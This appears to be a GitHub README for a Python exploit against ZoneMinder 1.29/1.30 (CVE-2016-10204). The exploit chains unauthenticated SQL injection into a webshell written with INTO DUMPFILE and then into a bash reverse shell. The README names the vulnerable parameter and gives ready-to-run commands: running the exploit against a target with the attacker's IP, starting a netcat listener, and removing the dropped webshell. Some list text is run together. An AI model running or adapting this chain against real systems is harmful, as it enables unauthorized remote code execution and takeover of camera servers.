akash0x00/zoneminder-1.29-1.30-rce-exploitUnauthenticated SQL injection to RCE exploit for ZoneMinder 1.29/1.30 (CVE-2016-10204, EDB-41239). Single-command SQLi to webshell to reverse shell PoC in Python.
A ready-to-run Python exploit for ZoneMinder 1.29/1.30 that chains the unauthenticated SQL injection (CVE-2016-10204, EDB-41239) all the way to an interactive reverse shell.
This is a weaponized/automated PoC for a known, patched CVE, not a new exploit.
EDB PoC for this bug stops at the SQLi payload or "point sqlmap at it." This exploit packages the full SQLi to webshell to shell chain into one readable script.
SLEEP) probe on the limit POST
parameter of index.php?view=request&request=log&task=query.SELECT ... INTO DUMPFILE,
trying several common ZoneMinder/Apache paths.bash reverse shell to your
netcat listener.DUMPFILE, not OUTFILE. OUTFILE escapes newlines and mangles
multi-line PHP; DUMPFILE writes raw bytes, so the webshell stays valid.# pop a shell
python3 zm-exploit.py -u http://TARGET/zm/ -l YOUR_IP -p 443
# start your listener when prompted, in another terminal
sudo nc -lvnp 443
# afterwards, remove the webshell it dropped (name is printed at the end)
python3 zm-exploit.py -u http://TARGET/zm/ --cleanup a1b2c3d4.php
MIT, see LICENSE.